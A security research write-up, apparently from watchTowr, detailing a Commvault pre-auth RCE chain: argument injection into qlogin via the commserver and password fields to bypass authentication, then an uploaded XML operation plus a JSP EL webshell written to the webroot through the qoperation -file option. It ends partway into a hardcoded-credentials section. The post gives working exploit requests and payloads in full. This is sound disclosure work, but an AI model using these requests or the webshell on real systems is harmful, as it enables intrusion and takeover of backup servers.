The .NET API contains 5,655 endpoints, creating a very large attack surface. As a spoiler for what’s ahead - almost all of the vulnerabilities in this post are found within this API.

Commvault Architecture - QCommand, QAPI and QLogin

Now, before we move onto the juice - we need to explain some other important pieces of Commvault architecture.

Commvault includes its own command interface, QCommands, which are documented in detail in the official CLI reference. QCommands can perform almost any administrative task available in the CommCell Console, from listing jobs to running backups and restores. They are typically invoked in 3 primary ways:

  • Invoked internally by the API – Many API endpoints ultimately call a QCommand via the QAPI interface to perform work.
  • Run locally from the CLI – QCommands also exist as standalone binaries on the Commvault server and can be executed directly from the operating system.
  • Triggered through the REST API – An authenticated user with sufficient privileges can send QCommands directly via the REST API.

For example, the qlist job QCommand, documented in the product manual, lists backup or restore jobs in the environment. Running it locally without arguments simply returns no jobs. Providing a specific job ID, such as 1, returns its details.

QCommands enforce access control by requiring a valid API token, usually passed via the -tk argument. If you are an administrator, you can pass your token directly on the command line:

qlist job -jn 1 -tk <admin_token>

When a QCommand is called internally by the API, the authenticated user’s token is automatically included in the process invocation. This keeps QCommands aligned with the permissions of the calling account.

QLogin

One special QCommand, qlogin, handles authentication. It accepts a username and password, and if the credentials are valid, it generates an API token.

A typical invocation looks like:

qlogin -cs <commserver> -csn <commserver_name> -gt -u <username> -clp <password>

Where:

  • cs and csn specify the CommServe host and client name.
  • gt requests the token to be printed on success.
  • u is the username.
  • clp provides the plaintext password.

This combination of broad system access and token generation means QLogin is a high-value QCommand.

This part is incredibly important: any process that can influence its arguments or parameters passed to QLogin, whether via CLI or an API call that wraps it, can potentially control authentication flow.

WT-2025-0050: Authentication Bypass through QCommand Argument Injection

1) Context: where /Login lives

At this point, we know that the Java-based frontend is using the /Commandcenter/RestServlet endpoint to forward our requests to the .NET-based backend API. This backend is responsible for the majority of sensitive operations. Guess what. Main authentication endpoint is also implemented in the .NET API and is mapped to the /Login path.

Main authentication endpoints are a primary target for the attackers (and nosy security researchers), thus many people assume that they should be relatively safe. This is because many people have already looked at them, right? What if everybody thinks that everybody have already looked at them, and in the effect nobody had ever looked at them?

We, bored watchTowr people, decided to test this assumption and we had a very brief look at this endpoint. Who knows, maybe we will find some silly authentication bypass there? The first thing that stood out was the fact that the implementation is huge. It defines a lot of different authentication types, so we decided to look around for a while.

2) Normal login request and controller

When logging into CommVault through the main login page, the client sends the following HTTP request:

POST /commandcenter/api/Login HTTP/1.1
Host: commvaultlab
Accept: application/json
Content-Type: application/json;charset=UTF-8

{
  "username": "someuser",
  "password": "c29tZXBhc3N3b3Jk"
}

The request contains a JSON body with the password base64-encoded. The Java-based front end forwards this authentication request to the .NET API backend, where it is processed by the /Login endpoint:

[HttpPost("Login")]
public IActionResult Login([FromBody] CheckCredentialReq req) // [1]
{
    CheckCredentialResp checkCredentialResp = new CheckCredentialResp();
    this.ValidateLoginInput(req);
    try
    {
        Stopwatch stopwatch = new Stopwatch();
        stopwatch.Start();
        checkCredentialResp = new AuthenticationCore().DoLogin(req); // [2]
        stopwatch.Stop();
        base.logger.LogInfo("Total time taken to execute login: [" + string.Format("{0:0.00}", stopwatch.Elapsed.TotalSeconds) + "] second(s)", "Login", 57);
    }
    catch (Exception ex)
    {
        base.logger.LogError(ex.Message + " : " + ex.StackTrace, "Login", 61);
        checkCredentialResp.errList = (((checkCredentialResp != null) ? checkCredentialResp.errList : null) ?? new List<Error>());
        if (checkCredentialResp.errList.Count == 0)
        {
            checkCredentialResp.errList.Add(new Error
            {
                errorCode = 500,
                errLogMessage = "Internal server error."
            });
        }
    }
    return this.Ok(checkCredentialResp);
}

The first thing to note is that this endpoint expects an object of the CheckCredentialReq type ([1]). This means the JSON in our HTTP request will be deserialized into an instance of this class.

One detail immediately stood out: while a typical login request only supplies two properties (username and password), the CheckCredentialReq class defines more than 40 properties - many of which can also be deserialized from the request.

The screenshot below shows just a few examples, such as appid and hostName :

It appears we can modify the authentication request by including additional parameters, for example:

{
  "username": "someuser",
  "password": "c29tZXBhc3N3b3Jk",
  "appid": "watchTowr"
}

While this is interesting, it is not immediately useful. To learn more, we need to dig deeper - specifically into the DoLogin method referenced at [2].


3) The branch to “remote” login

Skipping over irrelevant code, the key point is that our deserialized CheckCredentialReq object eventually reaches the Login_V1 method.

Here’s a small fragment of that method:

public CheckCredentialResp Login_V1(CheckCredentialReq loginRequest)
{
    int num = 0;
    string empty = string.Empty;
    VCloudExternalAuthentication vcloudHandler = new VCloudExternalAuthentication();
    CheckCredentialResp checkCredentialResp = new CheckCredentialResp
    {
        errList = new List<Error>()
    };
    this.loginRequestSpecialInputs = this.ConvertNameValueMapToDictionary(loginRequest);
    //...
        else
        {
            bool flag7 = this.IsRemoteCSLogin(loginRequest.commserver); // [1]
            if (flag7)
            {
                this.DoRemoteCSLogin(loginRequest, ref checkCredentialResp); // [2]
                result = checkCredentialResp;
            }
            else
            {
            //...

At [1], the commserver parameter from the loginRequest is passed to the IsRemoteCSLogin method.

If the IsRemoteCSLogin check passes, the flow proceeds to DoRemoteCSLogin with our loginRequest (at [2]).

Since IsRemoteCSLogin determines whether DoRemoteCSLogin is reached, let’s examine CV.WebServer.Handlers.Authentication.AuthenticationCore.IsRemoteCSLogin:

public bool IsRemoteCSLogin(string commserver)
{
    bool flag = !string.IsNullOrWhiteSpace(commserver);
    bool result;
    if (flag)
    {
        string[] array = commserver.Split('*', StringSplitOptions.None);
        bool flag2 = !string.Equals(array[0], CVWebConf.getCommServHostName(), StringComparison.OrdinalIgnoreCase); // [1]
        if (flag2)
        {
            //...
            result = true;
        }
        else
        {
            //...
            result = false;
        }
    }
    else
    {
        base.logger.LogDiag("Commserver field is empty or null.Returning isRemoteCSLogin:false", "IsRemoteCSLogin", 2352);
        result = false;
    }
    return result;
}


The logic is straightforward.

At [1], the code calls CVWebConf.getCommServHostName() to retrieve the hostname of the current CommVault server. It then compares this value to the one supplied in the commserver field of the authentication JSON body.

If the two values match, the check fails and execution never reaches DoRemoteCSLogin.

This makes sense - the method name suggests it is intended for authentication against a remote server. In practice, the product appears to support integrating multiple servers and delegating authentication to another system. This method is used for that scenario.

For example, if the actual hostname is watchTowrRocks, we would need to supply a different value such as watchTowrRocksX2 to reach DoRemoteCSLogin.

4) DoRemoteCSLogin calls into QLogin

We can now look at the DoRemoteCSLogin method and examine the relevant fragment.

private bool DoRemoteCSLogin(CheckCredentialReq loginRequest, ref CheckCredentialResp loginResponse)
{
    int num = 0;
    string empty = string.Empty;
    bool flag = !loginRequest.usernameFieldSpecified;
    bool result;
    if (flag)
    {
        base.logger.LogError("username is not specified. Invalid remote CS login.", "DoRemoteCSLogin", 2154);
        this.FillLoginResponseWithError(ref loginResponse, num, empty, 1127, "unknown error", "");
        result = false;
    }
    else
    {
        bool flag2 = !this.DecodePass(ref loginRequest, ref loginResponse);
        if (flag2)
        {
            result = false;
        }
        else
        {
            loginRequest.username = this.GetFullUsername(loginRequest);
            string commserverName = loginRequest.commserver.Split('*', StringSplitOptions.None)
[0];
            string text;
            string text2;
            num = new QLogin().DoQlogin(loginRequest.commserver, loginRequest.username, loginRequest.password, out text, out text2, out empty, 5, false); // [1]
            bool flag3 = num == 0;
            if (flag3)
            {
                base.logger.LogTrace("Commcell login succeeded for user " + loginRequest.username + " for Commserver " + loginRequest.commserver, "DoRemoteCSLogin", 2175);
                int value;
                string text3;
                num = new QLogin().GetQSDKUserInfo(commserverName, loginRequest.username, text, out value, out text3, out empty); // [2]
                bool flag4 = num == 0;
                if (flag4){
                //...

There are two relevant method calls here.

At [1], the code calls CV.WebServer.Handlers.Authentication.QLogin.DoQlogin with three parameters that are fully under our control:

  • username
  • password
  • commserver

This method sets the text string, which is then passed to the GetQSDKUserInfo method along with the commserver and username.

5) The vulnerable construction inside DoQlogin

A quick spoiler - DoQlogin will turn out to be a critical function for our purposes.

Let’s break it down:

internal int DoQlogin(string commserverName, string userName, string password, out string token, out string qsdkGuid, out string errorString, int samlTokenValidityInMins = 5, bool isCreateSamlTokenRequest = false)
{
    string[] array = commserverName.Split('*', StringSplitOptions.None);
    string text = array[0];
    string text2 = string.IsNullOrEmpty(this.csClientName) ? text : this.csClientName;
    string text3;
    errorString = (text3 = string.Empty);
    qsdkGuid = (text3 = text3);
    token = text3;
    bool flag = array.Length > 1;
    if (flag)
    {
        text2 = array[1];
    }
    string commandParameters = string.Empty;
    if (isCreateSamlTokenRequest)
    {
        commandParameters = string.Format("-cs {0} -csn {1} -getsamlToken -gt -u {2} -clp {3} -validformins {4} -featureType {5}", new object[]
        {
            text,
            text2,
            userName,
            password,
            samlTokenValidityInMins,
            this.SAMLTokenFeatureType
        }); // [1]
    }
    else
    {
        commandParameters = string.Format(" -cs {0} -csn {1} -gt -u {2} -clp {3} ", new object[]
        {
            text,
            text2,
            userName,
            password
        }); // [2]
    }
    string pinfoXML = QLogin.GetPInfoXML(0, string.Empty, 0, Convert.ToInt32(QLogin.QCOMMANDS.QCOMMAND_LOGIN).ToString(), Convert.ToInt32(QLogin.QAPI_OperationSubType.QQAPI_OPERATION_NOSUBCOMMAND).ToString(), 0U, commandParameters, commserverName, null, false, null); // [3]
    string empty = string.Empty;
    string empty2 = string.Empty;
    int num = new QAPICommandCppSharp().handleQAPIReq(pinfoXML, empty, ref empty2); // [4]
    bool flag2 = num == 0;
    if (flag2)
    {
        token = empty2;
        bool flag3 = !isCreateSamlTokenRequest;
        if (flag3)
        {
            string xml = string.Empty;
            xml = CVWebConf.GetDecryptedPassword(token);
            QAllTokenInfo qallTokenInfo = new QAllTokenInfo();
            XMLDecoder.ReadXml(xml, qallTokenInfo);
            qsdkGuid = CVWebConf.decodePass(Convert.ToBase64String(qallTokenInfo.tokenInfo[0].guid));
        }
    }
    return num;
}

At [1] and [2], the code builds a string that appears to be a list of arguments for a command.

The case at [2] is of particular interest, since both text and text2 can be set via our commserver parameter, meaning we control the input entirely.

At [3], an XML string is created using our commandParameters, which gives us an opportunity to inject arbitrary arguments.

At [4], the authentication request is executed through the QAPICommandCppSharp().handleQAPIReq method.

The problem is clear: user input is not sanitized, and the arguments are concatenated with simple string formatting, which allows arbitrary argument injection.

As noted earlier, controlling the arguments passed to QLogin means controlling the authentication process itself.

The next step was to prove it.

6) Exploitation details

Argument Injection in QLogin

We have confirmed an argument injection vulnerability and believe that controlling the arguments passed to QLogin can allow us to bypass authentication. Now it is time to test that theory.

Suppose we send the following JSON in our authentication request:

{
  "username": "someuser",
  "password": "c29tZXBhc3N3b3Jk",
  "commserver": "watchTowr"
}

In this scenario, the backend will invoke the following QCommand, using the arguments we described earlier in the explainer:

qlogin -cs watchTowr -csn watchTowr -gt -u someuser -clp somepassword

We can inject arbitrary arguments into any of these parameters, although there are some nuances. Let’s break the exploitation process into several steps.

Providing a valid CommServer

To reach the vulnerable code that enables argument injection, the commserver value we supply must be different from the actual hostname of the target CommVault instance.

However, our goal is still to authenticate to that same target instance in order to generate a valid token.

Let’s revisit the code fragment responsible for verifying the commserver value:

string[] array = commserver.Split('*', StringSplitOptions.None);
bool flag2 = !string.Equals(array[0], CVWebConf.getCommServHostName(), StringComparison.OrdinalIgnoreCase);

In short, the commserver value we send must be different from the value returned by CVWebConf.getCommServHostName(). In our lab, this method returns the OS hostname WIN-AC7GJT5.

Using WIN-AC7GJT5 will fail the hostname check, so an obvious alternative is to set commserver to localhost.

To verify this approach, we can test it directly by running qlogin from the command line:

Unfortunately, this approach fails.

The qlogin command performs a strict hostname comparison, so we must supply exactly the same value returned by CVWebConf.getCommServHostName().

At first glance this might seem like the end of the road. However, the argument injection gives us a way forward. By setting the commserver value to:

validhostname -cs validhostname

we inject an extra -cs argument.

This does not break qlogin because it simply ignores the extra argument, but it does mean that validhostname -cs validhostname is not equal to validhostname. This allows us to pass the hostname check successfully:

This approach works, and we receive a valid authentication token for the admin user.

At this point, we know that our JSON body should look like this:

{
  "username": "someuser",
  "password": "c29tZXBhc3N3b3Jk",
  "commserver": "$validhostname$ -cs $validhostname$"
}

There are two important points to remember:

  1. We cannot inject any additional arguments into the commserver field.

This is because it will be used again later in a different QCommand (qoperation execute). If we include any argument that is not supported by qoperation, the exploitation will fail.

  1. How do we get a valid hostname?

This is easy to leak in several ways. One example is to query the following endpoint:

GET /commandcenter/publicLink.do

The hostname appears in multiple parts of the response, for example:

"activeMQConnectionURL":"tcp://WIN-AC7GJT5:8052"

The first piece of the exploitation puzzle is solved.

Of course, it would not be much of a vulnerability if we still needed valid credentials to authenticate.

Our next step is clear - drop the valid credentials, authenticate regardless.

Argument Injection in Password Field

Moving onto our journey of dropping requirement for valid credentials, our gaze turns to other fields. This requires something obvious - we need to get familiar with the arguments the command is accepting (duh).

Let’s review the available options for qlogin. Do any of them stand out?

While reviewing the arguments accepted by qlogin, one in particular stood out: -localadmin.

According to its documentation, this argument allows a user to authenticate without providing any credentials, provided they are a local administrator on the CommVault server.

That sounded far too powerful to ignore - so we decided to test our theory via the qlogin CLI implementation from the perspective of a low-privileged local user:

As expected, the attempt failed - running qlogin -localadmin from a low-privileged account does not bypass authentication.

But what if the .NET process handling API requests had elevated rights?

If that process was running with elevated rights, then supplying -localadmin as part of our injected arguments might actually succeed.

Unfortunately, the process runs as NT AUTHORITY\NETWORK SERVICE, which does not have sufficient privileges to generate a valid token using the -localadmin argument.

However, the attacker does not need to worry. The qlogin command is not executed directly by the w3wp.exe process. When a /Login request is delivered with a commserver value defined, the request follows a different execution path - and ultimately, qlogin is launched by another process entirely.

Once again, we're going to throw our design team under the bus and show their beautiful image below, that hopefully helps explain this (the smiling face is us):

When processing the command, the QAPI call sends it to another .NET process over the GRPC channel (dotnet.exe). The qlogin command is then executed with the privileges of dotnet.exe :

Luckily for the attacker, dotnet.exe runs with SYSTEM privileges, so injecting the -localadmin argument should work in our attack scenario.

Let’s try to reproduce this from our CLI again, with elevated privileges:

And it worked - the token was generated!

When the -localadmin argument is provided, the username and password are ignored and qlogin simply returns a valid localadmin token.

We now have a clear path.

The next step is to exploit the vulnerability by injecting the -localadmin argument into the password parameter, with the value a -localadmin base64-encoded.

As magic would have it, here is an HTTP request doing exactly that:

POST /commandcenter/api/Login HTTP/1.1
Host: commvaultlab
Accept: application/json
Content-Type: application/json;charset=UTF-8
Content-Length: 117

{
  "username": "admin",
  "password": "YSAtbG9jYWxhZG1pbg==", // "a -localadmin"
  "commserver":"WIN-AC7GJT5 -cs WIN-AC7GJT5"
}

Unfortunately, the response is not promising:

{
    "loginAttempts":0,
    "remainingLockTime":0,
    "errList":[
        {
            "errLogMessage":"\n<App_GenericResponse>\n\n  <response>\n    <errorString>Caller do not have permission to get user information or he is not a peer user.<\u002ferrorString>\n    <errorCode>587205848<\u002ferrorCode>\n  <\u002fresponse>\n\n<\u002fApp_GenericResponse>",
            "errorCode":5
        }
    ]
}

This is life. We were expecting to get the highly privileged API token, but instead we received a user-related exception.

Time to solve this last piece of the puzzle.

Providing a Proper Username

To understand why we’re receiving a user-related exception instead of the API token we crave, we need to debug the qlogin command directly.

Let’s start by running it in a controlled environment to see exactly how it behaves:

Reviewing the image above, we can see that our injection of -localadmin worked, and the empty2 variable is storing the generated API token.

So why are we still getting an error?

After obtaining the valid token with DoQLogin, the code passes it - along with our parameters - to a second method: GetQSDKUserInfo. This method executes another QCommand to fetch details of the user we authenticated as.

Here is the problem: GetQSDKUserInfo takes the username parameter from our login request and attempts to retrieve that user’s details using the API token from DoQLogin:

The error stored in the empty variable shows exactly what happened. The localadmin token cannot access details of the admin user. We generated a token for localadmin but tried to retrieve details for admin. These are two different accounts, so the request fails an additional authorization check.

To fix this, we need the correct username for the account we authenticated as using the -localadmin switch. A quick look at the database reveals the answer:

$validhostname$_localadmin__

The username is based on the hostname, which we already leaked earlier!

Tying This All Together:

At this point we have every component needed to turn this into a working proof-of-concept exploit. The full attack chain relies on:

  • Argument injection in two places:
    • The commserver parameter, to bypass the hostname check.
    • The password parameter, to inject the localadmin switch.
  • High-privilege execution of qlogin - triggered indirectly via the .NET backend and GRPC - meaning the injected localadmin switch actually works, even for remote attackers.
  • The localadmin QCommand option, which issues a valid authentication token without requiring any credentials when run as SYSTEM.
  • The hostname check bypass, achieved by appending an extra cs argument to the commserver value so it passes the IsRemoteCSLogin test while still functioning.
  • Leaking the valid hostname of the target instance via /commandcenter/publicLink.do (or other methods).
  • Passing the correct username in the login request so GetQSDKUserInfo succeeds with the localadmin token.

Understanding the generated username format for localadmin tokens:

<validhostname>_localadmin__

With all of these pieces in place, the vulnerability can be exploited in a single HTTP request (or two, if you still need to leak the hostname).

POST /commandcenter/api/Login HTTP/1.1
Host: commvaultlab
Accept: application/json
Content-Type: application/json;charset=UTF-8
Content-Length: 117

{
  "username": "WIN-AC7GJT5_localadmin__",
  "password": "YSAtbG9jYWxhZG1pbg==", // "a -localadmin"
  "commserver":"WIN-AC7GJT5 -cs WIN-AC7GJT5"
}

This request returns a valid API token for the highly privileged localadmin user.

HTTP/1.1 200 
...
Content-Type: application/json;charset=utf-8
Content-Length: 735

{
    "aliasName":"5",
    "userGUID":"995f53de-25db-44e2-a1bf-8d7a24cc6a5b",
    "loginAttempts":0,
    "remainingLockTime":0,
    "userName":"WIN-AC7GJT5_localadmin__",
    "ccn":0,
    "token":"QSDK 3c82528b...",
    "errList":[]
}

Authentication has been completely bypassed, and we can now move on.

WT-2025-0049: Post-Auth RCE with QCommand Path Traversal

So, what do we have so far?

Well, we’ve established a few things:

  • We’ve bypassed authentication
  • We have access to a high privilege account (localadmin)
  • We understand the complexity that is QCommands and parts of the related API.

We are in a good position to continue building out a chain, so we continue with our focus now being a post-authenticated Remote Code Execution (RCE) vulnerability to achieve our original objectives.

It turned out to be a little more complex than expected. That is life.

In this process, we went down a number of rabbit holes and collected many failed attempts. Being a team that does not necessarily learn anything from recurring lessons, we were relentless.

We have already discussed QCommands and established that there are several ways to execute them, including:

  • Through local access to the CommVault server
  • Via certain API endpoints that eventually call specific QCommands, where we may control some of their arguments

When investigating the API a little deeper, it turns out that there is an endpoint that allows us to directly execute QCommands: CV.WebServer.Controllers.QAPIController.

Below is the definition of three API endpoints that can be used to execute QCommands:

        [HttpPost("QCommand/{*command}")]
        public IActionResult QCommand(string command, [FromBody] [AllowNull] string req = "")
        {
            string reqXmlString = base.GetReqXmlString(req);
            return this.Ok(new CVWebHandlerQAPI().Qcommand(reqXmlString, command));
        }

        [HttpPost("QCommand")]
        public IActionResult ExecuteQCommand([FromBody] string command)
        {
            return this.Ok(new CVWebHandlerQAPI().Qcommand(null, command));
        }

        [HttpPost("ExecuteQCommand")]
        public IActionResult ExecuteQCommand2([FromBody] NameValueCollection data)
        {
            string text = string.Empty;
            string reqJson = string.Empty;
            string reqXml = string.Empty;
            if (data != null && data.Get("command") != null)
            {
                text = data.Get("command");
            }
            if (data != null && data.Get("inputRequestXML") != null)
            {
                reqJson = data.Get("inputRequestXML");
                reqXml = base.GetReqXmlString(reqJson);
            }
            if (string.IsNullOrEmpty(text))
            {
                throw new HandlerException(HandlerError.OperationNotSupported, -1, "Invalid input. Input request command  is required.", null, "ExecuteQCommand2", 63);
            }
            return this.Ok(new CVWebHandlerQAPI().Qcommand(reqXml, text));
        }

Looking at these endpoints, we can see that they include the ability to run potentially powerful QCommands - the same ones we have already observed being capable of performing impactful operations.

With this in mind, we now potentially have the ability to directly execute QCommands through the API. This is a very promising avenue for escalating our access and achieving more impactful post-authentication actions.

To verify this first though, we started with a harmless test - we attempted to execute the qlist job QCommand, which simply lists available jobs.

We used the /QCommand API endpoint, which accepts the entire QCommand as part of the request body. For example:

POST /commandcenter/RestServlet/QCommand HTTP/1.1
Host: commvaultlab
Authtoken: QSDK 356fbd60f0...
Content-type: text/plain
Content-Length: 9

qlist job

And the response is:

HTTP/1.1 200 
...

No jobs to display.


Nice, the QCommand API works!

We can now start exploring different QCommands or look for interesting arguments in the ones we already know.

Let’s take the qlist job command we just tested and see what options it supports by adding the -h flag:

Do you see it? One argument immediately stood out: the -file argument.

Its description was interesting because it allows us to control where the qlist command writes its output. That kind of functionality often ends in our favor.

The code responsible for output writing is implemented in C++, but instead of starting with reverse engineering, we decided to test it directly.

The plan was simple:

We would try to drop a JSP file into the application’s webroot. If successful, it would confirm that the output writer is vulnerable to absolute path traversal.

So, in true Leroy Jenkins style, we executed:


qlist job -file F:\Program Files\Commvault\ContentStore\Apache\webapps\ROOT\wat.jsp


Checking the webroot directory afterwards, we were pleasantly surprised.

Boom! The -file switch lets us point to any location on the filesystem and choose any file extension. In theory, that means we can write a webshell.

But can we actually do it?

Not quite yet. Writing No jobs to display. into a .jsp file is not exactly a game-changer. So we defined a more useful attack scenario:

  • Find a QCommand where we can control its output.
  • That command must also support the file argument (not all do).
  • Inject a webshell payload into the output.
  • Use the absolute path traversal from file to drop the webshell into the webroot.

Simple plan, right? Unfortunately, as localadmin we could not find an obvious one-step way to do this. What should have been straightforward ended up being possible, but in a far more convoluted way than expected.

qoperation execute

While reviewing the long list of available QCommands, we came across qoperation execute. This one caught our attention:

The qoperation execute command is used to execute any operation.

This applies to all jobs - for example, admin, backup, restore, and reports.

The QCommands to be executed are written in an .xml file, which is provided as input to this command. Parameters from the generated XML can also be specified along with the QCommand during execution.

Three details stood out immediately:

  • It executes an “operation” defined in a local XML file. The af argument lets us specify the path to this file.
  • It supports the file switch, so we can control the output location.
  • It requires high privileges, but our localadmin user is powerful enough to run it.

There are many operations implemented. For testing, we picked the App_GetUserPropertiesRequest operation, which simply retrieves properties for a specified user.

Here is the XML definition for that operation:

<App_GetUserPropertiesRequest level="30">
    <user userName="WIN-AC7GJT5_localadmin__" />
</App_GetUserPropertiesRequest>

So, back to our keyboards, we decided to play with this behavior once again via the CLI tooling.

We saved the XML into a file called script.xml. Then, using our localadmin session, we executed the request to fetch details about the localadmin user itself:

>qoperation execute -af C:\Users\Public\script.xml

<App_GetUserPropertiesResponse>

  <users UPN="" agePasswordDays="0" associatedExternalUserGroupsOperationType="ADD" associatedUserGroupsOperationType="ADD" authenticationMethod="LOCAL" companyName="Commcell" description="This is localadmin" edgeDriveQuotaLimitInGB="100" email="" enableUser="true" enforceEdgeDriveQuota="false" enforceFSQuota="false" fullName="WIN-AC7GJT5_localadmin__" idleTime="0" inheritGroupEdgeDriveQuotaSettings="true" inheritGroupQuotaSettings="true" isAccountLocked="false" istfaEnabled="false" lastLogIntime="1745939401" loggedInMode="2" quotaLimitInGB="100" removeOtherActiveSessions="true">
    <userEntity userGUID="F52B43CB-26F8-4695-B0E8-94EC2F9DE0C9" userId="5" userName="WIN-AC7GJT5_localadmin__"/>
    <LinkedCommvaultUser/>
    <apiQuota APILimit="0" APItimeFrame="0"/>
    <currentAuthenticator IdentityServerId="0" IdentityServerName="Commcell">
      <ownerCompany domainName="Commcell" id="0"/>
    </currentAuthenticator>
  </users>

</App_GetUserPropertiesResponse>

We can see the command prints details as XML and includes the properties of our localadmin user. That sparked an idea. If we can change one of those properties to contain a JSP payload, we can turn the XML output into a webshell.

Our plan:

  • Drop an XML file to disk that defines an operation which retrieves user details.
  • Modify a writable property of localadmin and inject a JSP payload into that field.
  • Run qoperation execute again and use the file switch to write the response into the webroot with a .jsp extension.

Let’s walk through each step.

Dropping XML to the filesystem

Even though our RCE scenario depends on having a local XML file we fully control, that requirement did not worry us.

In our earlier Commvault research, we recalled a Java-based endpoint that allows unauthenticated file drops into a hardcoded directory. Because we control the XML contents completely, this primitive fits perfectly into our attack chain.

We can leverage this with a simple HTTP request:

POST /commandcenter/metrics/metricsUpload.do HTTP/1.1
Host: commvaultlab
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Connection: keep-alive
Content-Length: 709

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="username"

customer
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="password"

d2F0
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="ccid"

ABC1234
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="uploadToken"

TOKEN1
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="rekt.xml"
Content-Type: application/xml

<App_GetUserPropertiesRequest level="30">\r\n\t<user userName="WIN-AC7GJT5_localadmin__" /></App_GetUserPropertiesRequest>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

This request saves the file to: F:\Program Files\Commvault\ContentStore\Reports\MetricsUpload\Upload\ABC1234\rekt.xml as shown below:

At this point, we can run the following QCommand to execute our operation and write the output directly into the webroot:

qoperation execute -af F:\Program Files\Commvault\ContentStore\Reports\MetricsUpload\Upload\ABC1234\rekt.xml -file F:\Program Files\Commvault\ContentStore\Apache\webapps\ROOT\wT-poc.jsp

This will execute the App_GetUserPropertiesRequest operation defined in our uploaded XML file and save the output as wT-poc.jsp in the webroot.

However, the output will still just contain the normal user properties - no payload yet.

To turn this into RCE, we need a way to inject our JSP webshell into one of those returned fields so that when the file is written to the webroot, our code will be executed when accessed.

Let’s continue.

Injecting Webshell Payload and Achieving RCE

We can already retrieve details of our localadmin user through the App_GetUserPropertiesRequest operation. The logical next step is the opposite - modifying those properties.

If we can update a user property to contain JSP code, and then use qoperation execute with the -file argument to write those details into the webroot, we can create a working webshell.

The relevant API endpoint for modifying user properties is:

[HttpPost("User/{*userId}")]
public IActionResult UpdateUserProperties([FromBody] UpdateUserPropertiesRequest request, string userId)
{
    string empty = string.Empty;
    AppMsg.UserInfo userInfo = request.users[0];
    if (userInfo.userEntity == null)
    {
        userInfo.userEntity = new UserEntity();
    }
    int userId2;
    if (int.TryParse(userId, out userId2))
    {
        userInfo.userEntity.userId = userId2;
    }
    else
    {
        userInfo.userEntity.userName = base.GetConvertedUserEntity(userId).userName;
    }
    return this.Ok(this.UpdateUserProperties(request, this.LoggedInUserId, this.CurrentLocaleId));
}

The description property is an ideal target - it’s typically not restricted in length or character set.

We can inject JSP into the description field with the following request:

POST /commandcenter/RestServlet/User/5 HTTP/1.1
Host: commvaultlab
Accept: application/xml
Authtoken: QSDK 3d4ab7f7def2...
Content-Length: 270

<App_UpdateUserPropertiesRequest><users>
<AppMsg.UserInfo>
<userEntity>
<userId>5</userId>
</userEntity>
<description>&lt;% Runtime.getRuntime().exec(request.getParameter("cmd")); %&gt;</description>
</AppMsg.UserInfo>
</users></App_UpdateUserPropertiesRequest>

When we later fetched the user details with QCommand, the payload was present - but the < and " characters were automatically HTML-encoded. This breaks JSP execution, since <% ... %> becomes &lt;% ... %>. Using CDATA doesn’t help, as the < is still encoded.

After a short pause (and a bit of frustration), we realized there was a simple workaround: inject JSP EL (Expression Language) instead. EL does not require <% ... %> syntax, so we avoid the HTML encoding issue entirely.

Here’s the updated payload:

POST /commandcenter/RestServlet/User/5 HTTP/1.1
Host: commvaultlab
Accept: application/xml
Authtoken: QSDK 3db346462...
Content-type: application/xml
Content-Length: 333

<App_UpdateUserPropertiesRequest><users>
<AppMsg.UserInfo>
<userEntity>
<userId>5</userId>
</userEntity>
<description>${pageContext.servletContext.getClassLoader().loadClass('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec(param.cmd)}
</description>
</AppMsg.UserInfo>
</users></App_UpdateUserPropertiesRequest>

This payload has no characters that would be encoded during the qoperation execute file writing, thus we should be good to go!

Let’s try to drop a webshell now:

POST /commandcenter/RestServlet/QCommand HTTP/1.1
Host: commvautlab
Authtoken: QSDK 3db346462c1de...
Content-type: text/plain
Content-Length: 185

qoperation execute -af F:\Program Files\Commvault\ContentStore\Reports\MetricsUpload\Upload\ABC1234\rekt.xml -file F:\Program Files\Commvault\ContentStore\Apache\webapps\ROOT\wT-poc.jsp

The server should respond with:

HTTP/1.1 200 
...

Operation Successful.Results written to [F:\Program Files\Commvault\ContentStore\Apache\webapps\ROOT\wT-poc.jsp].

Let’s finish with a quick verification - checking the filesystem to confirm our webshell is in place.

That confirms it! We’ve successfully injected our EL expression into the JSP file. Now, it’s time for the final step - accessing our webshell.

Completing The Chain - Joining WT-2025-0050 and WT-2025-0049

Our first full pre-auth RCE chain, as detailed above, comes together like this:

  • WT-2025-0050 – Authentication bypass to generate a valid API token for the localadmin user.
  • WT-2025-0049 – Absolute path traversal in QCommand handling, allowing a JSP webshell to be written directly into the webroot for remote code execution.

This combination is exploitable against any unpatched CommVault instance. We are not aware of pre-conditions or environmental limitations that would block it.

It’s as bad as it sounds - so we will not be publishing a Detection Artifact Generator for this one. Instead, here’s a screenshot:

This marks the first complete pre-auth RCE chain in our research series. In this case, localadmin access came via WT-2025-0050.

But this is not our only chain. Next, we will cover the second approach - one that replaces WT-2025-0050 with WT-2025-0047 for the authentication bypass.

WT-2025-0047- Hardcoded Credentials

Before we ever uncovered the localadmin authentication bypass, our research journey began with something else entirely — a discovery that, on its own, was already bad news for CommVault security.

While mapping the CommVault attack surface and exploring its IIS-backed API endpoints, we kept running into a frustrating reality: many of the most interesting Java endpoints were locked behind authentication checks.

That meant a huge portion of the potential attack surface was effectively out of reach without credentials.

When faced with that kind of roadblock, there are two obvious ways forward:

  • Bypass authentication outright
  • Find built-in or hardcoded accounts you can log in with

The first approach is flashy, but the second can be equally dangerous - and has a long history of shipping in production software.

In reality, despite the order of this blogpost - we decided to explore that second path first. Unfortunately, it didn’t take long before a few quick checks pointed us toward something interesting in the database.

A couple of simple Windows commands confirmed what we suspected: CommVault was using an MSSQL backend, and it was time to start digging for accounts baked right into the system.

C:\Users\Administrator>netstat -ano | findstr :1433
  TCP    0.0.0.0:1433           0.0.0.0:0              LISTENING       3140
  TCP    [::]:1433              [::]:0                 LISTENING       3140

C:\Users\Administrator>netstat -ano | findstr :1433

C:\Users\Administrator>tasklist /FI "PID eq 3140"

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
